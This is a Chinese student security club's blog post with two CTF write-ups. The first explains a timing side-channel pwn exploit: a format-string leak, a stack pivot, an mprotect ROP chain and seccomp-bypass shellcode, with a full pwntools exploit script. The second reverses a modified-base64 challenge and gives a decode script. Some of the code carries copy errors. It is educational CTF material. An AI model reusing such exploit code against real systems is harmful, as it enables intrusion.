​皮蛋厂的学习日记 | 2022.03.18 从一道pwn题看侧信道攻击 & [ACTF2020]usualCrypt

admin 2022年3月22日22:45:31评论285 views字数 13416阅读44分43秒阅读模式

皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~


  • 2020级 大能猫 | 从一道pwn题看侧信道攻击

    • 前言

    • 侧信道攻击是什么

    • PWN中的侧信道攻击

    • 题目

  • 2021 Mu.Chen | [ACTF2020]usualCrypt (多重加密逆向)

    • 前言

    • 分析

    • exp


PWN

2020级 大能猫 | 从一道pwn题看侧信道攻击

文章首发于奇安信攻防社区:奇安信攻防社区-从一道pwn题看侧信道攻击 (butian.net)

前言

最近总在一些群里听一些大佬在讨论侧信道攻击这种东西,终于在周末打ctfshow的卷王杯的时候终于见到了侧信道攻击的题目,并且复现了一下,对侧信道其中的姿势深感佩服。所以想要写下这篇文章分享一下侧信道攻击的技术。

侧信道攻击是什么

侧信道攻击其实是一种非正常的攻击手段,是一种利用计算机不经意间发出的声音来判断计算机的执行情况,比如通过散热器的响声大小来判断计算机所运行程序的复杂性;通过窃听敲击键盘的声音来及进行破译你所输入的是什么;或者说是通过计算机组件再执行某些程序的时候需要消耗不同的电量,来监视你的计算机。

在一些影视剧中,我们可能会看到许多类似的情节,通过听保险箱密码锁转动的声音来判断每一位密码的正确性。不光是影视剧中,现实中的测信道攻击也是存在的。2017年昆明的小学生通过‘听声音’一分钟解锁共享单车的密码锁,也属于是一种测信道攻击的手段。

​皮蛋厂的学习日记 | 2022.03.18  从一道pwn题看侧信道攻击 & [ACTF2020]usualCrypt

所谓侧信道就是和著信道相对而言的,我们的信息通过主信道进行传输,但是在密码设备进行密码处理的时候就会通过侧信道泄露一定的功耗、电磁辐射、热量、声音等信息,泄露的星系随着周围环境的不同而有所差距,所以在不同的环境条件下同意信息的侧信道数据是不同的。攻击者就是通过分析信息之间的差异来得出设备的信息或者说是密文内容。

PWN中的侧信道攻击

pwn除非是在很极端的情况下才用得到侧信道攻击,在解题的过程中程序开启了沙箱禁用了execve函数,使我们不能够正常提权拿到shell去cat flag。通常这种情况就需要我们使用orw去输出flag,即利用open、read、write函数将flag从文件中读入到内存当中,然后利用write函数输出flag,事实上这种情况也是蛮理想的,可以直接拿到flag的明文。如果程序在攻击的过程中同时仅用了write,或者是close(1)关闭了输出流我们应该怎么去获得flag。甚至是仅用了read函数的某些使用,这就用到了侧信道攻击在pwn中的运用。

侧信道攻击在pwn中的主要思想就是通过逐位爆破获得flag的明文,判断的依据一般是判断猜测的字符和flag的每一位进行对比,如果相同就进入死循环,然后利用时间判断是否正确,循环超过一秒则标识当前爆破位爆破字符正确。通常侧信道攻击一般都是通过shellcode来实现的,并且比较的方法最好是使用‘二分法’这样的话节约时间并且效率高。

接下来就通过一道pwn题来理解一下侧信道攻击在ctf中的运用。

题目

题目是ctfshow卷王杯的一道题目,比赛结束了还只有一解。

例行检查

开启了全部RELRO保护还有堆栈不可执行保护。

​皮蛋厂的学习日记 | 2022.03.18  从一道pwn题看侧信道攻击 & [ACTF2020]usualCrypt

动态分析

执行了之后出现了一个输入点

​皮蛋厂的学习日记 | 2022.03.18  从一道pwn题看侧信道攻击 & [ACTF2020]usualCrypt

测试格式化字符串漏洞:并发现第一个输入点是有格式化字符串漏洞的

​皮蛋厂的学习日记 | 2022.03.18  从一道pwn题看侧信道攻击 & [ACTF2020]usualCrypt

在此之后还有一个输入点:并且这个输入点不存在格式化字符串漏洞,

​皮蛋厂的学习日记 | 2022.03.18  从一道pwn题看侧信道攻击 & [ACTF2020]usualCrypt

测试第二个输入点的栈溢出,似乎是存在栈溢出的,但是也不能直接确定,还是需要通过静态分析来获得结果。

​皮蛋厂的学习日记 | 2022.03.18  从一道pwn题看侧信道攻击 & [ACTF2020]usualCrypt

静态分析

main函数,和动调分析得到的结果是一样的

​皮蛋厂的学习日记 | 2022.03.18  从一道pwn题看侧信道攻击 & [ACTF2020]usualCrypt

格式化字符串漏洞利用

我们似乎可以使用第一个输入点的格式化字符串漏洞来进行leak_libc地址

调试发现栈内是有libc中的地址的,可以通过__libc_main_main+243来leak libc地址。

​皮蛋厂的学习日记 | 2022.03.18  从一道pwn题看侧信道攻击 & [ACTF2020]usualCrypt
s(b'%25$p')
ru(b"Hello, ")
libc_base = int(r(16)[2:], 16) - 0x7f6c4a5320b3 + 0x7f6c4a50b000
print(hex(libc_base))

栈迁移利用

接下来就是栈溢出的漏洞了,只溢出了0x10长度的字符,也就是能够覆盖到rbp,ret的位置。也不难想到这种溢出较少的展出是在考察栈迁移,那么要把栈迁到哪里去那?首先,先要搞清楚栈迁移是为了什么?无非就是两种,第一执行栈以外地方的东西,第二就是向其他地方写入东西。程序中没有后门或者写好的shellcode,显然是第二种情况。我们看一下read函数的汇编。

​皮蛋厂的学习日记 | 2022.03.18  从一道pwn题看侧信道攻击 & [ACTF2020]usualCrypt

可以看出read写入的地址是以rbp为索引的,所以我们如果能控制rbp的值就可以实现任意地址写,那我们利用就显得很方便了。首先,利用第二种栈迁移将栈迁移到bss段写入我们需要执行的东西,然后利用第一种栈溢出去执行我们写入的shellcode或者gadget去执行。

orw实现

再来看一下sandbox,本来我是不知道这个也可以实现sandbox功能的,但是wp上写了有沙箱我找了好久才意识到这个函数的,此函数的具体用法参考:

用prctl系统调用实现自定义过滤规则的seccomp - Homura<a href="http://homura.cc/blog/archives/145" target="_blank" rel="noopener noreferrer">&#39;&#39;</a>s Blog

是个黑名单式的sandbox,禁用了socket,open,read啧啧啧啧,束手无策来着,没有办法orw了哇,close(1)关闭了输出流了。去看看官方wp,,,

​皮蛋厂的学习日记 | 2022.03.18  从一道pwn题看侧信道攻击 & [ACTF2020]usualCrypt

#######################看了官方wp之后##########################

明白!虽然仅用了open的系统调用,还可以使用openat系统调用,引用官方wp的一句话

libc中的open函数就是对openat这个底层系统调用的封装

orw中,o有了再来看看r怎么整。read相关系统调用并不是全部都禁用了,当read得fd为0得时候,read是可用得。对于常规的orw来说,open一个文件之后,由于012都用做标准输入输出,报错占用了,所以文件描述都是从3开始的,倘若我们再open之前close(0)之后,再进行open的话,那么文件描述符就是0了,这样的话就可以read了。

#############################################################

这样的话我们就可以写入read的系统调用

sc_read = f'''
        xor rax, rax                     #将rax,rdx中清零
        xor rdi, rdi
        push {bss_addr+0x100}            #将迁移的地址pop进rsi寄存器作为第二个
        pop rsi
        push 0x100                       #将0x100的数值pop进rdx中作为第三个参数
        pop rdx
        syscall                          #触发系统调用
        jmp rsi
    '''

(写shellcode一定要指定arch哇,不然就跟我似的整了半下午的shellcode,最后加了个arch给解决了。)

我们先看bss段的base是多少,由于没有开启pie,因此我们从ida上就可以得到bss的地址

​皮蛋厂的学习日记 | 2022.03.18  从一道pwn题看侧信道攻击 & [ACTF2020]usualCrypt

得到了bss的基地址是0x404020,但是在我们调试的时候发现这一段似乎并没有可执行的权限

​皮蛋厂的学习日记 | 2022.03.18  从一道pwn题看侧信道攻击 & [ACTF2020]usualCrypt

可读可写但是不可执行,这样的话我们需要先赋予bss段可执行的权限,这就想到了mprotect函数。栈迁移到bass段之后,要先写入的是mprotect函数赋权的行为。那首先将我们需要用到的gadget还有地址写上。

bss_addr = elf.bss() + 0x500
read_addr = 0x4013DD
leave_addr = 0x401402
pop_rdi_ret = libc_base + 0x26bb2
pop_rsi_ret = libc_base + 0x2709c
pop_rdx_r12_ret = libc_base + 0x11c421

着手去整,一步一步来走不通了想办法解决哇。

先进行ebp的劫持,然后向bss段上面写东西。

    pl = p64(pop_rdi_ret) + p64(bss_addr & 0xfffff000) + p64(pop_rsi_ret) + p64(0x1000) + p64(pop_rdx_r12_ret) + p64(7) + p64(0) + p64(mprotect_addr)
    pl += p64(bss_addr + len(pl) + 8) + asm(shellcode_read)
    pl += pl.ljust(0x80b'x00') + p64(bss_addr - 8) + p64(leave_addr)
    sleep(0.1)
    s(pl)

经过了这个payload之后,通过迁移我们将mrotect写入了bss段,然后再经过一次迁移将orw的shellcode写入bss上并跳转执行,接下来的问题就是解决orw中的w的问题emmm,,

侧信道攻击(重要的来了

##############################我又打开了writeup############################

对于write的话我们可以使用侧信道攻击的方式,就是要堆flag的每一位进行爆破,与我们已经read读入到内存中的真是flag进行对比,比如,若是相等就触发死循环,那么我们就可以通过判断接受数据用了多长时间来判断爆破是否正确,就是堆flag的每一位进行爆破,当超过1秒啧说米国我们测测当下位的猜测正确。由于侧信道最好哟个shellcode来实现,故再之前需要使用mprotect的gadget链改一下bss段的可执行权限,而一次性只能读入0x80的大小的数据,可能无法将orw的shellcode和mprotect的gadget一起读进bss段,因此,我们可以 先写一小段 <b>shellcode</b>作为跳板mprotectgadget一起读入到bss段,再通过这个跳板,将orwshellcode读到bss段上并跳转执行。

pwn中侧信道攻击的主要思想是:爆破。由于程序中的沙盒禁用了输出流,致使我们不能够直接获得flag的明文,这就是主信道获取信息的方式已经不能够被实现,然后我们使用flag中可能有的所有字符当作字典,逐位进行爆破,通过cmp返回的不同信息来判断flag的明文。这就是侧信道攻击的思想。

    shellcode_main = f'''
        /* close(0) */#关闭输入流
        push 3
        pop rax
        xor rdi, rdi
        syscall
        /* openat("/flag") */
        push 257
        pop rax
        /* ( absolute path ) */
        mov rsi, 0x67616c662f
        push rsi
        mov rsi, rsp
        /*
        ( relative path )
        push -100
        pop rdi
        push 0x67616c66
        push rsp
        pop rsi
        */
        syscall
        /* read flag */
        xor rax, rax
        xor rdi, rdi
        mov rsi, rsp
        push 0x50
        pop rdx
        syscall
        /* blow up flag */
        mov al, byte ptr[rsi+{pos}]
        cmp al, {char}
        ja $-2
        ret
    '''

    sleep(0.1)
    s(asm(shellcode_main))

其实这个shellcode可以当作模板来存下,之后再遇到此类题目的时候稍微改一改就可以用了

exp:

#encoding = utf-8
import os
import sys
import time
from pwn import *
from LibcSearcher import * 

context.log_level = "debug"
context.os = 'linux'
context.arch = 'amd64'

binary = "checkin"
libcelf = "libc-2.30.so"
ip = ""
port = ""
local = 1
arm = 0
core = 64

og = [0x4342,0x3342]

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'x00'))
uu64    = lambda data               :u64(data.ljust(8,'x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

if(local==1):
    if(arm==1):
        if(core==64):
            p = process(["qemu-arm""-g""1212""-L""/usr/arm-linux-gnueabi",binary])
        if(core==32):
            p = process(["qemu-aarch64""-g""1212""-L""/usr/aarch64-linux-gnu/", binary])
    else:
        p = process(binary)
else:
    p = remote(ip,port)

elf = ELF(binary)
libc = ELF(libcelf)

bss_addr = elf.bss() + 0x500
read_addr = 0x4013DD
leave_addr = 0x401402

possible_list = "-0123456789abcdefghijklmnopqrstuvwxyz{}"

def pwn(pos, char):
    sla(b"name :n"b'%25$p')
    ru(b"Hello, ")
    libc_base = int(r(16)[2:], 16) - 0x7f6c4a5320b3 + 0x7f6c4a50b000
    pl = b'x00'*0x80 + p64(bss_addr + 0x80) + p64(read_addr)
    sa(b"check in :n", payload)

    shellcode_read = f'''
        xor rax, rax
        xor rdi, rdi
        push {bss_addr+0x100}
        pop rsi
        push 0x100
        pop rdx
        syscall
        jmp rsi
    '''

    pop_rdi_ret = libc_base + 0x26bb2
    pop_rsi_ret = libc_base + 0x2709c
    pop_rdx_r12_ret = libc_base + 0x11c421
    mprotect_addr = libc_base + libc.sym['mprotect']
    pl = p64(pop_rdi_ret) + p64(bss_addr & 0xfffff000) + p64(pop_rsi_ret) + p64(0x1000) + p64(pop_rdx_r12_ret) + p64(7) + p64(0) + p64(mprotect_addr)
    pl += p64(bss_addr + len(pl) + 8) + asm(shellcode_read)
    pl = pl.ljust(0x80b'x00') + p64(bss_addr - 8) + p64(leave_addr)
    sleep(0.1)
    s(pl)

    shellcode_main = f'''
        /* close(0) */
        push 3
        pop rax
        xor rdi, rdi
        syscall
        /* openat("/flag") */
        push 257
        pop rax
        /* ( absolute path ) */
        mov rsi, 0x67616c662f
        push rsi
        mov rsi, rsp
        /*
        ( relative path )
        push -100
        pop rdi
        push 0x67616c66
        push rsp
        pop rsi
        */
        syscall
        /* read flag */
        xor rax, rax
        xor rdi, rdi
        mov rsi, rsp
        push 0x50
        pop rdx
        syscall
        /* blow up flag */
        mov al, byte ptr[rsi+{pos}]
        cmp al, {char}
        ja $-2
        ret
    '''

    sleep(0.1)
    s(asm(shellcode_main))


'''
i = 0
while 1:
    i += 1
    log.warn(str(i))
    try:  
        pwn()
    except Exception:
        p.close()
        if(local == 1):
            p = process(binary)
        else:
            p = remote(ip,port)
        continue

if __name__ == '__main__':
    pwn()
'''


if __name__ == '__main__' :
    start = time.time()
    pos = 0
    flag = ""
    while True:
        left, right = 0, len(possible_list)-1
        while left < right :
            mid = (left + right) >> 1
            p = process(binary)
            pwn(pos, ord(possible_list[mid]))
            s = time.time()
            r(timeout = 1)
            t = time.time()
            p.close()
            if t - s > 1 :
                left = mid + 1
            else :
                right = mid
        flag += possible_list[left]
        info(flag)
        if possible_list[left] == '}' :
            break
        pos = pos + 1
    success(flag)
    end = time.time()
    success("time:t" + str(end - start) + "s")

REVERSE

2021 Mu.Chen |[ACTF2020]usualCrypt (多重加密逆向)

前言

编程能力太差了,脱离了模板只会写简单的rsa脚本,通过逆向题目来练习一下

分析

一道静态题目,无壳PE文件

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // esi
  int v5[3]; // [esp+8h] [ebp-74h] BYREF
  __int16 v6; // [esp+14h] [ebp-68h]
  char v7; // [esp+16h] [ebp-66h]
  char v8[100]; // [esp+18h] [ebp-64h] BYREF

  sub_403CF8(&unk_40E140);
  scanf("%s", v8);
  memset(v5, 0sizeof(v5));
  v6 = 0;
  v7 = 0;
  sub_401080(v8, strlen(v8), v5);
  v3 = 0;
  while ( *((_BYTE *)v5 + v3) == byte_40E0E4[v3] )
  {
    if ( ++v3 > strlen((const char *)v5) )
      goto LABEL_6;
  }
  sub_403CF8(aError);
LABEL_6:
  if ( v3 - 1 == strlen(byte_40E0E4) )
    return sub_403CF8(aAreYouHappyYes);
  else
    return sub_403CF8(aAreYouHappyNo);
}

可以看到有一个加密函数sub_401080以及一个比较函数,典型的加密验证型题目,加密结果放在了byte_40E0E4里

跟进之后,提取出字符串‘MXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9’

跟进加密函数 sub_401080

int __cdecl sub_401080(int a1, int a2, int a3)
{
  int v3; // edi
  int v4; // esi
  int v5; // edx
  int v6; // eax
  int v7; // ecx
  int v8; // esi
  int v9; // esi
  int v10; // esi
  int v11; // esi
  _BYTE *v12; // ecx
  int v13; // esi
  int v15; // [esp+18h] [ebp+8h]

  v3 = 0;
  v4 = 0;
  sub_401000();
  v5 = a2 % 3;
  v6 = a1;
  v7 = a2 - a2 % 3;
  v15 = a2 % 3;
  if ( v7 > 0 )
  {
    do
    {
      LOBYTE(v5) = *(_BYTE *)(a1 + v3);
      v3 += 3;
      v8 = v4 + 1;
      *(_BYTE *)(v8 + a3 - 1) = byte_40E0A0[(v5 >> 2) & 0x3F];
      *(_BYTE *)(++v8 + a3 - 1) = byte_40E0A0[16 * (*(_BYTE *)(a1 + v3 - 3) & 3)
                                            + (((int)*(unsigned __int8 *)(a1 + v3 - 2) >> 4) & 0xF)];
      *(_BYTE *)(++v8 + a3 - 1) = byte_40E0A0[4 * (*(_BYTE *)(a1 + v3 - 2) & 0xF)
                                            + (((int)*(unsigned __int8 *)(a1 + v3 - 1) >> 6) & 3)];
      v5 = *(_BYTE *)(a1 + v3 - 1) & 0x3F;
      v4 = v8 + 1;
      *(_BYTE *)(v4 + a3 - 1) = byte_40E0A0[v5];
    }
    while ( v3 < v7 );
    v5 = v15;
  }
  if ( v5 == 1 )
  {
    LOBYTE(v7) = *(_BYTE *)(v3 + a1);
    v9 = v4 + 1;
    *(_BYTE *)(v9 + a3 - 1) = byte_40E0A0[(v7 >> 2) & 0x3F];
    v10 = v9 + 1;
    *(_BYTE *)(v10 + a3 - 1) = byte_40E0A0[16 * (*(_BYTE *)(v3 + a1) & 3)];
    *(_BYTE *)(v10 + a3) = 61;
LABEL_8:
    v13 = v10 + 1;
    *(_BYTE *)(v13 + a3) = 61;
    v4 = v13 + 1;
    goto LABEL_9;
  }
  if ( v5 == 2 )
  {
    v11 = v4 + 1;
    *(_BYTE *)(v11 + a3 - 1) = byte_40E0A0[((int)*(unsigned __int8 *)(v3 + a1) >> 2) & 0x3F];
    v12 = (_BYTE *)(v3 + a1 + 1);
    LOBYTE(v6) = *v12;
    v10 = v11 + 1;
    *(_BYTE *)(v10 + a3 - 1) = byte_40E0A0[16 * (*(_BYTE *)(v3 + a1) & 3) + ((v6 >> 4) & 0xF)];
    *(_BYTE *)(v10 + a3) = byte_40E0A0[4 * (*v12 & 0xF)];
    goto LABEL_8;
  }
LABEL_9:
  *(_BYTE *)(v4 + a3) = 0;
  return sub_401030(a3);
}

正巧前几天做过base的题目,认出来是base64加密

加密函数sub_401080比较明确了,但其之前还有两个加密函数

​皮蛋厂的学习日记 | 2022.03.18  从一道pwn题看侧信道攻击 & [ACTF2020]usualCrypt

别审阅

int sub_401000()
{
  int result; // eax
  char v1; // cl

  for ( result = 6; result < 15; ++result )
  {
    v1 = byte_40E0AA[result];
    byte_40E0AA[result] = byte_40E0A0[result];
    byte_40E0A0[result] = v1;
  }
  return result;
}

是一个实现换位的函数,把一个字符串上的范围内的字符按偏移索引(result)进行了两两交换。

int __cdecl sub_401030(const char *a1)
{
  __int64 v1; // rax
  char v2; // al

  v1 = 0i64;
  if ( strlen(a1) )
  {
    do
    {
      v2 = a1[HIDWORD(v1)];
      if ( v2 < 97 || v2 > 122 )
      {
        if ( v2 < 65 || v2 > 90 )
          goto LABEL_9;
        LOBYTE(v1) = v2 + 32;
      }
      else
      {
        LOBYTE(v1) = v2 - 32;
      }
      a1[HIDWORD(v1)] = v1;
LABEL_9:
      LODWORD(v1) = 0;
      ++HIDWORD(v1);
    }
    while ( HIDWORD(v1) < strlen(a1) );
  }
  return v1;
}

这个加密比较明确,就是转换了字母的大小写

因此要实现逆向拿到flag,思路就是:–>字符串大小写互换–>修改base64转换表–>加密结果通过转换表得到正常的加密后的结果–>base64解密。

还需要一个索引表,根据sub_401000的加密方式,在字符串byte_40E0AA里找到了'LMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

#提取到的是这个,但脚本运行不出来,需要补全

至'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'才行,咱也不知道为啥

exp

import base64
c='MXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9'.swapcase()  #  转换大小写
a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
offset = 10   #  6到15,偏移为10
dict = {}
flag = ''
for i in range(len(a)):
    for i in range(len(a)):
        dict[a[i]] = a[i]
    for i in range(615):  # 构造修改后的表
        b = dict[a[i]]
        dict[a[i]] = dict[a[i + offset]]
        dict[a[i + offset]] = b
    for i in range(len(c)):
        flag+=dict[c[i]]
flag = base64.b64decode(flag)
print(flag)

比着网上的wp写的,真正做到独立写明白应该还得一阵子


原文始发于微信公众号(山警网络空间安全实验室):​皮蛋厂的学习日记 | 2022.03.18 从一道pwn题看侧信道攻击 & [ACTF2020]usualCrypt

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月22日22:45:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ​皮蛋厂的学习日记 | 2022.03.18 从一道pwn题看侧信道攻击 & [ACTF2020]usualCrypthttps://cn-sec.com/archives/834226.html

发表评论

匿名网友 填写信息